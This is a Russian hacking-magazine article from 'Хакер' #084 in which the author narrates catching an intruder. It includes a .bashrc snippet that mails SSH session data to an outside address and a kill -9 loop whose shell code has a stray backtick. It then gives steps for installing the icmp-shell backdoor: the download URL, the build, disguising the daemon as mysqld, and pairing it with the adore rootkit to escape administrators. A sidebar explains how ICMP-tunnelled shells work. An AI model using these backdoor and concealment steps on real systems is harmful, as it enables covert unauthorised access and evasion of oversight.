Охота на хакера Александр Любимов aka Sashiks Хакер, номер #084, стр. 084-062-4 # cat >>.bashrc mail="sashiks@fbi.gov" info=`set |grep SSH_CLIENT` `echo $info|mail $mail` Если ты хорошо знаешь shell-программирование и не обделен воображалкой, то можешь сделать довольно много интересного. Так вот, я вставил кусок кода, который мне на мыло отсылает IP-адрес хакера (можно будет забрать логи с компа и посмеяться над хаксором-лузером). Затем я задумался, а не нельзя ли сделать так, чтобы сразу после входа в систему нарушителя дисконнектило. То есть, чтобы терминал убивался по девятому сигналу. Порывшись в папках я нашел шелл-скрипт, который когда-то написал: for pid in `ps |grep bash |awk '{ print $1 }' ` do echo "$pid" kill -9 $pid` done Вроде бы все, теперь можно быть спокойным, что нарушитель не натворит дел в системе и не подефейсит сайты, выдав наше присутствие на машине. Правда, осталось еще одно серьезное незаконченное дело. Я, как ты понял, самым непалевным образом, был залогинен под рутом по ssh. Эту ситуацию нужно было в корне исправлять, и я решил тоже забэкдорить тачку, но уже ни какими-то там руткитами, а весьма оригинальным образом - с помощью icmp-shell (читай про эту удивительную тулзу во врезке). Качнуть можно по адресу http://peterhost.dl.sourceforge.net/sourceforge/icmpshell/ish-v0.2.tar.gz. Распаковав архив, я сделал make linux и получил два бинарника: ishd(демон) и ish(клиент). Сервак я закинул в /bin, изменив переменную PATH на текущий каталог и переименовав в mysqld, запустил с дефолтными параметрами. Вообще-то, делать так нежелательно и лучше всего было бы использовать этот бэкдор вместе с adore, ведь тогда увеличиваются шансы быть не обнаруженным злобным администратором сети. Чтобы безболезненно получать доступ к этой машине, я собрал клиент icmp-shell'а у себя на FreeBSD. Ну, вроде бы и все - бэкдор работает как надо, а значит, я получил в свое распоряжение отличную площадку для дальнейшего деструктива :). [скрытая угроза] ICMP-SHELL - рульная утилита, написанная Питером Киелтука (http://icmpshell.sourceforge.net). Она, по сути, является довольно оригинальным бэкдором. Принцип работы icmp-shell'a состоит в том, что запросы с командами, которые посылает хакер со своей машины, инкапсулируются в ICMP-пакеты и передаются удаленной целевой машине. Вообще, программа состоит из двух частей: клиента и сервера. Как ты, наверное, догадался, сервер запускается на похаканном хосте, а клиентская часть на машине взломщика. Следует понимать, что обе части программы обращаются к так называем сырым сокетам (raw sockets), а поэтому для запуска нужны абсолютные привилегии. Теперь, с твоего позволения, я расскажу об этой самой инкапсуляции. При запуске ishd (серверной части), ему нужно передать параметр -i (идентификатор сессии), это делается для того, чтобы можно было осуществлять несколько подключений к машине. Далее, с помощью параметра -t, можно указать тип пакета ICMP, в которые будут инкапсулированы команды клиентской части приложения. Например, 8 эквивалентно эхо-запросу, уведомление о недостижимости прячется за тройкой. По умолчанию используется эхо-ответ (0). Таким образом, ты должен запускать клиент (ish) точно с такими же параметрами, как и серверную часть. Теперь все твои команды будут инкапсулированы в ICMP-пакеты и доставлены на машину, где ishd будет обрабатывать их и создавать рабочий пайп к шеллу (/bin/sh), затем выполнять команду и данные из пайпа будут отправляться обратно на твою машину. Причем стоит отметить, что интерактивные программы могут некорректно работать с icmp-shell'ом. Софтина мне очень понравилась - она незамедлительно отправилась в мой арсенал. Кто знает, может, ей посчастливиться попасть и в твой? :) |